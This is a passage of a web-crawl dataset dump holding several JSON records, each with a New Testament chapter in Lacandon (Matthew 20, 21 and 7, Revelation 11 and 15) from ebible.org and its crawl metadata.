ch'inajob u c'urew u jach ts'ur ten yʌjcʌnanyajirob u cor. Caj jats'ob xan, caj quinsa'b u jer.\n37 'Caj c'uchij tu q'uinin caj u tuchi'taj u parar. Yer yʌjcʌnanyʌjirob u cor je' u sʌjta'r u parar ten yʌjcʌnanyʌjirob u cor.\n38 Caj c'uchij u parar caj ir ten yʌjcʌnanyʌjirob u cor caj ya'arajob: \"Raji' u parar cu tar. Raji' cu bin ch'ic u cor wa cu quimin u tet. Ca' xico'on ij quinsej u parar soc to'on quic bin ic ch'ic u cor.\"\n39 Caj u chucajob ca' xicob u quinsejob ich u nʌc' c'axir u cor. Ti' tu jach quinsajob ich nʌc' c'axir u cor.\n40 Jesús caj u c'ataj ti'ob:\n―Arex ten ba' cu bin u betic u jach ts'urir u cor ti' u yʌjcʌnanyʌjirob u cor ca' bin tac?\n41 U jach ts'urirob sacerdote yejer u jach ts'urirob u winiquirob judío a cu ya'aric a Nuxibe' caj u nuncajob:\n―U jach ts'urir cu rʌc bin quinsic u yʌjcʌnanyʌjirob u cor quire' jach c'as. Je' u ca' cʌxtic u jer winiquirob a mac cu bo'ota'r u t'aquic u wich uva ich u cor. Ca' bin c'uchuc tu q'uinin cu ts'icob ti' u ts'urir u wich uva u bo'orir u cor.\n42 Jesús caj ya'araj ti' u ts'urirob u winiquirob judío:\n―Mʌ' wa ja xacmʌnex a tu ts'ibtaj yʌjtseq'uir u t'ʌn C'uj uch caj ya'araj:\nU yoc naj caj u pich'intajob yʌjc'ʌxirob naj quire' mʌ' u c'atob. A je' tu purajob mʌna' u jer jach chich u muc'. Caj bin u wʌc'ʌs ch'a'ej u c'ʌxej naj. Aro' caj u betaj C'uj rajen cu jac'ʌr ij cor, quij quiric.\nBaxuc caj u ts'ibtaj yʌjtseq'uir u t'ʌn C'uj uch ti' Cristo.\n43 'Rajen quin wa'ariquex tech, an ten bic caj pich'ta'b yoc naj, caj bin u wʌc'ʌs ch'a'ej quir u wʌc'ʌs c'ʌxic yatoch. Baxuc ten, ca bin a xump'ʌtenex soc in quinsa'r. Rajen a C'ujo cu bin u taquic techex a ru'umex quir u ts'ic ti' u jer mac soc raji'ob cu qui' beyajob ti' u bo'orir u ru'umob.\n44 Ber u q'uinin mac mʌ' u c'amiquen an ten bic mac rub ich yajaw tunich. Jach yaj caj yubaj caj rub ich yoc'or. Baxuc xan, a mac a quin ts'ictar yejer an ten bic mac cu tar actun tu yocor, caj rʌc maxij.\n45 U jach ts'urirob sacerdote yejer u winiquirob judío a fariseojo' caj yubob a ba' caj u camsaj Jesús. Caj yertajob caj u camsaj Jesús quir u cʌnic u ts'urirob u winiquirob judío.\n46 Rajen u jach ts'urirob sacerdote yejer u winiquirob judío a fariseojo' u c'at chucurob Jesús. Cu chen sʌjta'rob a pimo'. Mʌ' ja wirej, yerob a pimo' raji' yʌjtseq'uir u t'ʌn C'uj Jesús.","id":"","dump":"CC-MAIN-2022-27","url":"https:\/\/ebible.org\/study\/content\/texts\/lacNT\/MT21.html","date":"2022-06-27T11:44:31Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-27\/segments\/1656103331729.20\/warc\/CC-MAIN-20220627103810-20220627133810-00505.warc.gz","language":"lac","language_score":1.0000056028,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"lac_Latn_score\": 1.0000056028366089}","num_words":2157,"character_repetition_ratio":0.085,"word_repetition_ratio":0.034,"special_characters_ratio":0.291,"stopwords_ratio":0.498,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"11\nCa'tur a mac ts'a'b u tucur quir u tsicbar a ba' u c'at C'uj\n1 Caj ts'oc aro', caj ts'a'b ten turiri' jʌrʌr an ten bic cu ch'ic u p'is ba'. Caj ara'b ten tune':\n―Riq'uen Juan, ca' xiquech a ch'u p'is mun a tu cu naj c'ujinticob C'uj, a carem najo'. Bayiri' xan, u cuchir tu cu naj tar u quinsic yʌrʌc' quir u ts'ic ti' C'uj. Bayiri' xan, ca' a xaquej munob a tan u c'ujinticob C'uj\n2 ―caj ara'b ten―. Chen a tancabo' tu cu naj c'ujinticob C'uj, raji' u tirir ti'e'. Mʌ' a yʌn ch'ic u p'is, quire' ra' yʌnin a winiquirob a mʌ' u winiquirob israel, ca' bin c'uchuc tu q'uinin. Mʌ' ja wirej, robob u ts'urirob a tancabo', tu cu naj c'ujinticob C'uj u winiquirob israel. Bayiri' xan, robob u ts'urirob u cajar Jerusalén, ra' u cajar C'uj. Bin u ca' u ts'urintob u cajar tac u man cuarenta y dos ic nʌ'.\n3 A mac a cu t'ʌniquen ca'ch, caj u ya'araj ten: \"A teno', je' in tuchi'tic ca'tur xib a cu bin u tsec'ticob a C'ujo' a ti' toy cu betic ich ca'anan, bayiri' xan ich yoc'ocabo' ti' cu beticob. Robob cu bin u tsec'ticob t'ʌn tac u man cuarenta y dos ic nʌ'. Robob bin u ca' u buquintob ec' noc' soc yer mac ca' u c'axob u yorob ca' u p'ʌtob u manob tu c'asir.\"\n4 Robob toc tsec'ta'b ten a mac ts'a'b u tucur ten C'uj uch ca' u ts'ibtej an ten bic u c'at C'uj uch. Raji' u c'aba' Zacarías a tu tsec'taj uch. Mʌ' ja wirej, robob u che'er oliva yejer a raso' quire' ca'turo'. Cu yets'icob ca'tur u che'er yejer ca'tur ras ich ʌcʌtan C'uj. Chen tar cu binob ich yoc'ocab quir u tsec'ticob C'uj.\n5 Wa yʌn mac u c'at u chuquic u pachob, cu joc'ar c'ac' tu chi'ob quir u toquicob a mac a cu p'actic a ti'obo'. A baywo' ca' bin quimic a mac a cu pachtic u chuquicob u pachob.\n6 Robob ts'a'b u muc' ten C'uj soc ca' bin t'ʌnob C'uj soc mʌ' u tar ya'arir ich yoc'ocab, jeroj mʌ' ju tar ya'arir tac ca' bin ts'ocac u tsec'ticob u t'ʌn C'uj. Bayiri' xan, ts'a'b u muc' soc u waysicob ja' irej q'uiq'uer. Bayiri' xan, ts'a'b u muc' soc u waysicob ba' ich ru'um quir u c'asquinticob mac a mun u q'uinin cu pachticob ti'.\n7 Chen wa ber ca' bin ts'ocac u beyajob ti' C'uj tu cu yesicob C'uj ti' mac, je' u joc'ar tu jorir ich ru'um a mʌ' xura'an u tamino' ir a bʌc'o', a jach manan c'as. Raji' cu bin u ts'ictar yejer a ca'tur mac a ts'a'b u tucur ten C'uj quir u tsicbar a ba' u c'at C'uj. Raji' cu bin quinsicob, quire' raji' jach chich u muc'.\n8 Ca' bin ts'ocac u quinsa'rob a ti'obo', robob u baquerob tiri' cu bin p'atʌrob tu ber tu cu naj man mac ich a carem cajaro', a tu quinsa'b ic Jaj Ts'urirex uch, a tus pʌcha'an u c'aba' Sodoma yejer u c'aba' Egipto, quire' bin u ca' yub u ts'iquirob C'uj.\n9 A mac a cʌja'an tu cajaro', yejer a mac a cu tsicbar ich u jer t'ʌnob, yejer a mac a yʌn u yo'nenob, yejer a mac cax tu cʌja'anob tu ru'umin, robob bin u ca' u yirob u baquero' ti' chara'an ich ber tac u man mʌna' u nup' u q'uinin ca' tac u jer chumuc. Mʌ' ju ch'abʌr mac ca' u mucob u baquerob.\n10 Mʌ' ja wirej, a mac a cʌja'anob ich yoc'ocab, a mʌ' yerob C'uj, jach qui' yorob, quire' quinsa'b a ca'tur mac a ts'a'b u tucur ten C'uj quir u tsicbarob a ba' u c'at C'uj. Mʌ' ja wirej, robob caj u ts'aj u muc'yaj a mac a mʌ' yerob C'uj, rajen a mac mʌ' yerob C'uj caj bin u sijob ba' ti' u rac'ob quire' qui' yorob.\n11 Chen ca' ts'oc u man mʌna' u nup' u q'uinin ca' tac u jer chumuc u q'uinin, jeroj wʌc'ʌs ric'sa'b a ca'tur mac a ts'a'b u tucur ten C'uj quir u tsicbarob a ba' u c'at C'ujo', quire' wʌc'ʌs ocob u pixamob, quire' ts'a'b ti'ob ten C'uj. Jeroj caj wʌc'ʌs ch'icrarob, caj jaq'uij yorob a mac caj yirobo'.\n12 Jeroj tune', robob, a ca'tur mac, a ts'a'b u tucur ten C'uj quir u tsicbarob a ba' u c'at C'ujo', caj yubob u t'ʌn mac ich u muyarir, tan u puric u t'ʌn ti'ob. C'am caj ara'b ti'ob:\n―Te' a tarexa'.\nJeroj tune', caj binob ca'anan ich u muyarir. A mac a cu p'acticob a ti'obo' caj yirob u binob.\n13 A ra' u q'uinino' caj binob ich ca'anan, caj chich pecnʌjij a ru'umo'. A cajaro' a caremo', caj pecnʌjij, rajen turiri' najo' ich a diezo' caj rʌc jubij. Wa ber caj pecnʌj ru'um caj quinsa'b siete mil xib tu jubij a najo' ich a carem cajaro'. A mac a mʌ' quinsa'b wa ber caj pecnʌjij a ru'umo' jach jaq'uij yorob, caj u c'ʌ'otajob C'uj raji' cu ts'urinticob mac ich yoc'ocab.\n14 Toc ara'b ten a mac a cu t'ʌniquen tu quin wʌyʌc'tic ich ca'anan:\n―Ts'oc u man u jer u yajirir a ca'turo'. Chen ti' toy yʌn u jer turiri' quir u tar. Jach tabar aro', raji' a mʌna' u nup'o'. Baxuc tu ya'araj a mac a cu t'ʌniquen uch.\nU mascabir quir u yutsta'r, a sietejo'\n15 Caj in wʌyʌc'taj ich ca'anan caj in pʌctaj caj in wir u jer yʌjmasir u t'ʌn C'uj. Raji' a sietojo'. Raji' caj u yutst, jeroj caj in wu'yaj u t'ʌn, tar u taro' ich ca'anan. Raji' cu t'ʌnob ya'ab mac. C'am caj u purob u t'ʌn tan ya'aricob:\nTu cotor u ru'umin tu cu reyinticob a reyo' baje'rer, raji' yʌnin a Jaj Ts'ur C'ujo' yejer u Cristo a ti'e'. Robob quic reyintiquex munt q'uin.\n16 Caj in wiraj a veinticuatro xibo', a nuxibo', a rayo' a ti' yʌn ich ʌcʌtan C'uj ti' cura'anob ich u cutan an ten bic u cutan a reyo'. Robob caj ric'ob caj u xonrajob ich ʌcʌtan C'uj quir u c'ujinticob C'uj.\n17 Caj ara'b ten a veinticuatro xibo', a nuxibo':\nBayo' C'uj, quire' c'uchij tu q'uinin quir ic reyintiquechex quire' a techo' jach manan chichir a muc'. A techo' munt q'uin ti' yʌnech, cax a ucho', cax a baje'rer, cax a samʌno'.\n18 Cax caj p'ujob a mac a cu ts'urinticob u ts'urir, cax caj p'ujob a mac a ju reyinticob u reyob, quire' c'uchij tu q'uinin a bin a ta'c u jo'rob a mac a mʌ' tu c'ʌmob tech. Bayiri' c'uchij tu q'uinin quir a bo'otic u bo'orir u c'ʌbob a mac a beyajnʌjob tech, a mac a ta ts'aj a tucur ti'ob quir u tsicbarob a ba' a c'at uch. Bayiri' xan, c'uchij tu q'uinin a bo'otic u bo'orir u c'ʌb a mac a cu sʌjtiquechob, cax a mac u ts'urir, cax a mac mʌ' u ts'urir mac. C'uchij tu q'uinin xan, quir a bo'otic a mac a tu c'asquintob u ru'umin ich yoc'ocab, robob bin u ca' ch'esa'bir.\n19 Caj in wʌyʌc'taj ich ca'anan uch, caj in pʌctaj caj in wiraj tu cu naj c'ujinticob C'uj, raji' caj q'ueya'b, jeroj caj in wiraj u chan cuchir, a cu jach jac'ʌr yor mac, a tu ts'ibtaj Moisés ich u t'ʌn uch. Jeroj tune', caj raramnʌj tun, caj pecnʌjij, caj jumnʌjij, caj u jach chich pecnʌjij ru'um, bayiri', caj tar u ba' ja', a jach aro'.","id":"","dump":"CC-MAIN-2022-27","url":"https:\/\/ebible.org\/study\/content\/texts\/lacNT\/RV11.html","date":"2022-07-07T11:29:50Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-27\/segments\/1656104690785.95\/warc\/CC-MAIN-20220707093848-20220707123848-00123.warc.gz","language":"lac","language_score":1.0000063181,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"lac_Latn_score\": 1.0000063180923462}","num_words":1230,"character_repetition_ratio":0.067,"word_repetition_ratio":0.025,"special_characters_ratio":0.305,"stopwords_ratio":0.5,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"15\nU yajirir a cu bin tar yejer u yʌjmasir u t'ʌn C'uj. Raji'ob a sietejo'\n1 Tu tin wʌyʌc'taj ich ca'anan caj in pʌctaj caj in wir u jer ba' quir u camsa'. Aro' jach manan tsoy tin wich, quire' cu jac'ʌr u yor mac. Tin wiraj u yʌjmasirob u t'ʌn C'uj a yʌn sietejo'. Robob yʌn ba' a cu bin ts'ocsic u ts'iquir C'uj yejer a mac a ti' yʌno' ich yoc'ocab, je' u ts'abʌr u muc'yaj a ti'obo'. Jujuntur yʌjmasirob u t'ʌn C'uj bin u ca' ts'abʌrob ti' u muc'yaj a mac a ti' yʌnob ich yoc'ocab.\n2 Caj in wiraj u jer ba' xan. Ti' xit'a'an a raso', jach sasc'ʌren, jach co'och an ten bic c'ac'nab. A raso', xaxac'a'an yejer chʌc soc irej c'ac'. Caj in wiraj xan, ti' yʌn mac a c'ucha'an yorob ti' a bʌc'o', a jach manan caremo' yejer u yochir a bʌc'o', a jach manan caremo'. Mʌ' ja wirej, robob mʌ' ju sʌjtobi', mʌ' ju cha'bʌrob u ts'ibt u c'aba' a ba' numero yʌn ich u winquirir, rajen ti' yʌnob ch'iquicbar bʌytʌc a raso'. Robob u mʌchmʌnob arpa quir u pax, quir u c'ʌyicob C'uj.\n3 Robob caj c'aynʌjob u c'ay quire' tacbirob ten C'uj, rajen cu c'ʌyicob quir ya'aricob: \"Bayo' C'uj\", an ten bic camsa'bob ten Moisés uch, a mac a cu beyaj ti' C'uj uch. Caj u c'ʌyob ti' a tʌmʌn yuc C'ujo', quire' raji' yʌjtaquirob. Mʌ' ja wirej, tu cu c'ayob caj u ya'arob:\nJach chich a muc' tu ta taquenob, caj a yajquintenob rajen cu jac'ʌr in worob. Quire' a techo', in Jaj Ts'urirob C'ujech, a mac in reyintiquechob. Quire' a techo', jach taj ca tsicbar, bayiri' jach taj ca bin a taquic u jo'r mac.\n4 Quire' u muc'yajob a tabar u yubicob a bʌc'o', a jach caremo' yejer u yochir a bʌc'o' a jach caremo', ra' cu bin u camsic mac ca' u sʌjtech quir u c'ujintiquechob C'uj. Jeroj bin u ca' sʌjtob a c'aba' quire' bin a ca' a wesej ti' mac, chen tech taj a wor. Ca' bin iric ten a mac a cʌja'an ich tu cotor u ru'umin bic caj a ch'esaj a bʌc'o', a jach caremo', yejer u yochir xan. Robob je' u tarobe' quir u c'ujintiquechob C'uj.\n5 Caj ts'oc in wiric a mac a c'ucha'an yorob ti' a bʌc'o' a jach manan caremo' yejer u yochir. Caj in wir tu japnin tu cu naj c'ujinticob C'uj ich ca'anan tu yʌn u chan cuchir a cu jac'ʌr u yor mac. Ra' tin wiraj, toc q'ue'a'an soc in pʌctic, rajen caj in wiraj tu yʌn u t'ʌn a ts'ab ti' Moisés ten C'uj uch.\n6 A siete u yʌjmasirob u t'ʌn C'uj a tin wiraj sam, robob caj joc'ob tu japnin tu yʌn u chan cuchir a cu jac'ʌr u yor mac. Mʌ' ja wirej, jujuntur u yʌjmasirob u t'ʌn C'uj yʌn u yajirir a cu bin u purur ich yoc'ocab, quire' ts'iquij C'uj. A ray yʌjmasirob u t'ʌn C'uj, robob u buquinmʌn sʌc noc' u c'aba' lino, jach cha'aj u noc', bayiri' tʌcaj lino u noc'. Toc c'ʌxa'anob tu tsem u c'ax u tsem, a beta'b u mascabir oro.\n7 Tu quin wʌyʌc'tic ich ca'anan, caj in wiraj turiri' ich a cuatro ba' irej bʌc', a cuxa'ano', caj u chucaj ti' turiri' yʌjmasir u t'ʌn C'uj ich a sietejo' a caj in wiraj sam. Raji' caj u ts'ajaj ti' jujuntur u yʌjmasirob u t'ʌn C'uj u chan ruch a beta'b u mascabir oro. Tu chan ruch yʌn ba' ir wa ju yʌquir a cu ts'abʌr ti' mac soc u quimin, aro' cu ya'aric u ts'iquir C'uj. Mʌ' ja wirej, raji' cu tar ti' C'uj, a C'ujo' munt q'uin cuxa'an, ra q'uin uch hasta mʌ' u xupur u q'uinin.\n8 Quire' ti' yʌn C'uj tu cu naj c'ujinticob C'uj, caj p'urnʌj u buts'ir quire' u sasirir C'uj quet yejer u muc' C'uj rajen caj tur u buts'ir. Rajen mʌna' mac c'ucha'an yor u yocar tu japnin quire' u ts'iquir C'uj, a ju mʌchmʌnob u yʌjmasirob u t'ʌn C'uj, a sietejo'. Wa ber ca' bin ts'ocac u ts'iquir C'uj, jeroj c'ucha'an yor mac u yocar tu cu naj c'ujinticob C'uj ich ca'anan.","id":"","dump":"CC-MAIN-2022-27","url":"https:\/\/ebible.org\/study\/content\/texts\/lacNT\/RV15.html","date":"2022-07-05T22:39:59Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-27\/segments\/1656104628307.87\/warc\/CC-MAIN-20220705205356-20220705235356-00727.warc.gz","language":"lac","language_score":1.0000063181,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"lac_Latn_score\": 1.0000063180923462}","num_words":690,"character_repetition_ratio":0.077,"word_repetition_ratio":0.021,"special_characters_ratio":0.296,"stopwords_ratio":0.522,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"20\nJesús cu camsic ti' mac cu pʌyic u jer quir u beyaj\n1 Caj ya'araj Jesús:\n―Tu cu bin u reyinticob C'uj ca'anan an ten bic u bin mac caj bin u pʌyic mac quir u beyaj, quir u t'aquic u wich uva tu cor. A'ac'bir caj bin u pʌybir ten u ts'urir.\n2 Caj tsicbajnʌjij u ts'urir yejer yʌjt'aquirob u wich uva mun u bo'orir cu bin bo'otbir. Tres pesos turi' u q'uinin u bo'orir quir u t'aquic u wich uva. Baxuc u bo'orir uch cu bo'ota'r. Caj u tuchi'taj beyajob ich u cor.\n3 Caj joc' u jach ts'urir a las nueve caj yiraj u jerob. Ti' yʌnob ich tu naj co'onan yo'och. Mʌna' u beyajob cu manob.\n4 Caj ara'b ti'ob ten u jach ts'urir: \"Xenex ta beyajex tin cor. T'aquex u wich uva. Je' in bo'otiquex ca' bin xiquechex ta beyajex. A ba' tsoy tin t'ʌn je' in bo'otiquex.\"\n5 Caj joc' u jach ts'urir caj bin u ts'urir tu cu naj mʌnic yo'och. C'ac'chunq'uin ca' u ca' iraj u jerob. Caj u tuchi'taj beyajob ich u cor. A las tres caj u ca' irajob u jerob caj u tuchi'taj beyajob.\n6 Caj wʌc'ʌs bin u jach ts'urir tu cu naj mʌnic yo'och a las cinco. Caj u ca' iraj u jerob. Mʌna' u beyajob. Caj ara'b ti'ob: \"Biquinin u bur u q'uinin ca manex tera'? Biquinin mʌna' a beyajex?\"\n7 Caj ara'b ti' u jach ts'urir ten a mac mʌna' u beyajob: \"Mʌna' mac caj u pʌyo'on tic beyaj.\" Caj ara'b ti'ob ten u jach ts'urir: \"Xenex ta beyajex ich in cor. Je' in ts'ic techex a ba' tsoy tin t'ʌn.\"\n8 U jach ts'urir caj u tuchi'taj yʌjt'ʌnin. Oq'uin caj u tuchi'taj quir u bo'ota'r yʌjt'aquirob u wich uva. Yʌn bo'ota'r a mac pachir caj tarob. Caj ts'oc u bo'otic a pachir, caj tarob caj u bo'otaj a mac ch'ic tarob sam.\n9 Quet bayiri' u bo'orir caj ts'a'b ti'. Cax pachir caj tarob tu beyajob. Tres pesos caj bo'ota'b.\n10 Caj c'uchij tu q'uinin u bo'otic a mac yʌn ch'ic tarob. Cu tucricobe' yerob jach co'oj cu bin bo'otbir. Caj bo'ota'be' tres pesos u bo'orir.\n11 Caj ts'oc u bo'ota'r caj choquij yorob yejer u jach ts'urir.\n12 Caj ya'arajob ti' u jach ts'urir: \"Baxuc a pachirob xan, caj beyajnʌjob cax turi' hora. Bayiri' caj bo'ota'b xan. Cax a tenob tin jach muc'ob chʌcʌr q'uin tu quin beyajob.\"\n13 Caj u nuncaj ti'ob u jach ts'urir caj ya'araj: \"Biquinin ca chen ts'iquintiquenex in tus yaj in bʌj. Toc tsicbanʌjen techex uch caj in tuchi'techex ta beyajex. Tin toc araj tres pesos.\n14 Ch'a'ex u bo'orir a beyajex ca' xiquechex. A teno', wa jin c'at in ts'ic techex bayiri' u bo'orir a beyajex cax pachir caj tarob. Bayiri' quin ts'ic ti'ob u bo'orir u beyajob xan.\n15 Mʌ' wa tsoy quin ts'ic in taq'uin a mun u bo'orir in c'at in bo'otic ti'ob quire' ten in taq'uin? Biquinin choquex a worex ten quire' mʌ' ts'u'ten?\"\n16 Bayiri' baxuc, ca' bin xuruc t'ʌn xan ich yoc'ocab. A mac pachir tar tu beyaj ti' Jaj Ts'ur cu tucric mʌ' co'oj cu bin bo'otbir, chen quet cu bin bo'otbir. Barej a mac a yʌn tarij tu beyaj cu tucric jach co'oj cu bin bo'otbir a ti'ob, chen quet cu bin bo'otbir ten Jaj Ts'ur. Mʌ' ja wirej, cax ya'ab mac cu yubic u t'ʌn C'uj, mʌ' u rʌc quibicob u t'ʌn C'uj.\nCu wʌc'ʌs ca' aric Jesús bin u ca' quinsbir\n(Mr. 10.32‑34; Lc. 18.31‑34)\n17 Jesús caj bin ich u berir Jerusalén. Tu junan caj u pʌyaj u camsʌwinic a docejo'. Caj ya'araj ti'ob:\n18 ―Jeroj, cu'uxex ich u cajar Jerusalén. Ti' cu bin u quinsiquenob. Ti' cu yʌn c'ubiquenob ti' u jach ts'urirob sacerdote yejer u yʌjcamsʌyʌjirob u t'ʌn Moisés. Robob cu bin u ya'arejob ca' quinsaquen.\n19 Robob u winiquirob judío cu bin u c'ubiquenob ti' u winiquirob romano soc u p'astiquenob. Soc u rʌc jʌts'icob in pach, soc u bʌjiquenob ich cruz soc in quimin. Mʌna' u nup u q'uinin ca' bin ca' riq'uiquen ti' in quimin.\nCaj tar u nʌ'ob Jacobo yejer Juan ich Jesús\n(Mr. 10.35‑45)\n20 Caj u juts' u bʌj u nʌ'ob Jacobo yejer Juan. Ra' u tet Zebedeo. Quet caj tar yejer u pararob. Caj xonrʌj ich Jesús\n21 quir u c'atic ba' ti':\n―Ba' a c'at ten? ―quij.\nCaj ya'araj ti':\n―Ca' bin c'uchur tu q'uinin ca' bin u reyinticob C'uj. Arej u cutarob turiri' ta noj, bayiri' turiri' ta ts'ic soc u sʌjta'r ten u rac'ob.\n22 Caj u nuncaj Jesús:\n―A techo', mʌ' a wer ba' ca c'atic ten. Arej ten wa c'ucha'an yorob a parar u muc'yajob an ten bic ten ca' bin muc'yajnʌquen ich cruz.\nCaj ya'arajob Juan yejer Jacobo:\n―C'ucha'an ij cor ic muc'yaj an bic tech.\n23 Jesús caj ya'araj ti'ob:\n―Taj quin wa'aric techex. Je' a muc'yaj an ten biquen. Chen mʌ' c'ucha'an in wor in curquintechex ich in noj mʌ' ich in ts'ic, quire' mʌ' ten yʌnin. Quire' in Tet C'uj yʌnin quir u curquintic mac u c'at C'uj. U yʌn ricsmʌn uch.\n24 Caj yubob a diez a yet camsʌwinicob caj p'ujob yejer Juan yejer Jacobo.\n25 Jesús caj u t'ʌnaj caj u much'quinticob u bʌj u camsʌwinicob quir u camsic. Caj ya'araj:\n―A werex a mac u jach ts'urir u cajar a mʌ' u winiquirob judío. Cu jach ts'ictarob tu cu ts'urinticob u winiquirob. Bayiri' a mac a cu yamticob ti'ob cu jach p'asticob a mac cu ts'urinticob u jach ts'urir.\n26 Mʌ' ja yʌn cʌniquex a baxuc u ts'urirob a mʌ' u winiquirob judío. A mac u c'at u ts'urintic u yet acsa'orir. Arej ti', ca' u yamtej u yet acsa'orir.\n27 Cax a mac ichechex u c'at u ts'urintic u yet camsʌwinicob. Arej ca' u yamtej u yet camsʌwinicob soc irej wa ju c'urew.\n28 Caj ya'araj Jesús:\n―Ca' a cʌnenex. A teno' taren in yamtic tu cotor mac. Mʌ' taren quir u yamtiquenob. Taren quir in quinsa'r soc in rʌc taquic tu cotor mac.\nJesús caj u jawsaj ch'op u wich ca'tur\n(Mr. 10.46‑52; Lc. 18.35‑43)\n29 Caj joc'ob Jesús yejerob u camsʌwinicob ich u cajar Jericó. Jach pim caj sayob tu pach Jesús.\n30 Ti' yʌn ch'op u wich ca'tur cura'anob ich nʌc' bej. Quire' cu c'aticob u taq'uin wa mac cu man ich nʌc' bej. Caj yubob ya'araj cu man Jesús ich bej caj awʌtnʌjob:\n―Jaj Ts'urir, u pararech wa ja nunquir David. Yajquinte tenob otsirenob, yam tenob.\n31 Caj q'ueya'b ten a pim soc mʌ' yawʌtob. Mʌ' yubob ya'araj ti'ob. Mʌ' ts'ocar yawʌtob. Tu jach c'amquintajob yawʌt:\n―Yajquinte tenob, otsirenob yam tenob, Jaj Ts'ur, u pararech wa David.\n32 Jesús caj xurij ich bej caj u pʌyaj ch'op u wichob. Caj tarob caj c'ata'b ti'ob:\n―Ba' a c'atex ten quir in yamtiquechex?\n33 Caj u nuncob ti':\n―Jaj Ts'urir, arej ca' sasichʌjʌc in wichob soc chʌca'an in wiricob in berob.\n34 Jesús caj u yajquintob a ch'op u wichob. Caj tar u wichob. Sep caj toc jaw u wichob. Caj binob tu pach Jesús.","id":"","dump":"CC-MAIN-2022-27","url":"https:\/\/ebible.org\/study\/content\/texts\/lacNT\/MT20.html","date":"2022-07-01T17:06:04Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-27\/segments\/1656103943339.53\/warc\/CC-MAIN-20220701155803-20220701185803-00154.warc.gz","language":"lac","language_score":1.0000026226,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"lac_Latn_score\": 1.0000026226043701}","num_words":1144,"character_repetition_ratio":0.064,"word_repetition_ratio":0.002,"special_characters_ratio":0.289,"stopwords_ratio":0.469,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"7\nMʌ' a ta'quiquex u jo'r a rac'ob\n(Lc. 6.37‑38, 41‑42)\n1 Jesús caj u ya'araj ti' u camsʌwinicob ich u jo'r p'uc wits:\n―Mʌ' a yʌn tucriquechex, wa tsoyechex quir a wocar juezirechex ti' a rac'ob, soc a ta'quiquex u jo'r.\n2 Wa ca wocarex juezirechex quir a ta'quiquex u jo'r a rac'ob. An ten bic techex caj a ta'quex u jo'r a rac'ob, baxuc C'uj cu bin u ta'quic a jo'r techex. Toc jawsex a ba' c'asir caj u betaj techex a rac'ob, soc C'uj cu jawsic ba' c'asir caj a betajex xan.\n3 Caj ya'araj ti' u camsʌwinicob, Jesús:\n―Biquinin ca pʌq'uiquex u pach a rac'ob, cax chichin ba' yʌn ti'? Mʌ' ja wirej, a ba' yʌn techex, a cu pʌq'uicob u pach u rac'ob, jach manan c'as. Aro' irej a cu yiric u p'up'ir a chichino' tu wich u rac'ob. Chen u bʌjiri', mʌ' ju c'ʌ'otic yʌn u p'up'ir jach carem tu wich.\n4 Caj ya'araj Jesús:\n―Mʌ' ja wirej, wa ca tsicbarex ti' a rac'ob a ba' caj u yʌn betaj uch. Chen a techexo', a ba' yʌn techex jach c'as, aro' irej wa ca wa'ariquex ti' a rac'ob: \"Arej in ruc'sej u p'up'ir a wich a chichino'.\" Chen a techexo', u p'up'ir ta wichex jach carem.\n5 A techexo', ca'tur a tucurex. Mʌ' ja wirej, ca' a p'ʌtex a jach c'aso' techex soc c'ucha'an a worex a yamtiquex a bʌjo' ca' u p'ʌtej u c'asir a cu betic chichin.\n6 Caj ya'araj Jesús ti' u camsʌwinicob:\n―Jaj ix tʌcoj, mʌ' tsoy ca wesiquex C'uj ti' mac a jach tam u pixam. Jaj ix tʌcoj, cu ts'ictar wa ca tsicbar ti' u t'ʌn C'uj, irej pec' wa ca ts'iquex ti' yo'och. Cu chen tar u chi'echex. Irej q'uec'ʌn cu tar u ya'ch'ʌctic uj wa ca puriquex ti' a wujex a jach co'oj.\nJesús cu camsic qui' c'atej ti' C'uj a ba' a c'at\n(Lc. 11.9‑13; 6.31)\n7 Jesús caj u camsaj ti' u camsʌwinicob ich u jo'r p'uc wits:\n―C'atex ti' C'uj a ba' a c'atex. Je' u ts'ic techex C'uj. Mʌ' ja wirej, aro' irechex ca c'atiquex ba' ti' a rac'ob, jeroj cu ts'ic techex. Wa ca t'ʌniquex mac tu yatoch. Jeroj cu yacsiquechex.\n8 Wa ca cʌxtiquex a ba' a c'atex. Jeroj je' a wiriquexe'.\n9 Caj ya'araj Jesús ti' u camsʌwinicob:\n―Je' wa ja ts'iquex u jantej a pararex tunich, wa cu tar u c'atic techex yo'och waj? A techexo', ca ts'iquex ti' yo'och waj quire' a parar.\n10 Je' wa ca ts'iquex quir u chi'ic can, wa cu c'atic techex cʌy quir u chi'ic? Je' a ts'iquex ti' yo'och cʌy.\n11 Caj ya'araj Jesús ti' u camsʌwinicob:\n―Cax c'asechex, ca ts'iquex ti' a pararex a ba' jach tsoy. Mʌ' ja ts'iquex ti' a pararex a ba' c'asi'. Baxuc a C'ujo'. Jach manan tsoyir cu ts'ic ti' a mac cu c'atic ti'e'. A mac cu c'atic ti' ic Tet C'uj ca'anan. Ts'aja'an yor cu ts'ic ti'.\n12 Caj ya'araj ti' u camsʌwinicob, Jesús:\n―Rajra' ca' a yamtex a rac'ob an ten bic a c'atex u yamtiquechex xan. Wa baxuc ca betiquex caj a toc quibex a ba' ts'ibta'b ten Moisés yejer yʌjtseq'uirob u t'ʌn C'uj uch.\nJach chichin u jor quir yocar ich u berir ca'anan\n(Lc. 13.24)\n13 Caj ya'araj Jesús ti' u camsʌwinicob:\n―Cax jach yaj a wu'yiquex a p'ʌtiquex a ba' ca pachtiquex ta worex. Chen p'ixex a bʌjex soc a p'ʌtiquex aro' quir a quibex u t'ʌn C'uj, soc a binex ca'anan. A teno' ―quij Jesús―, quin wa'aric techex. Mʌ' 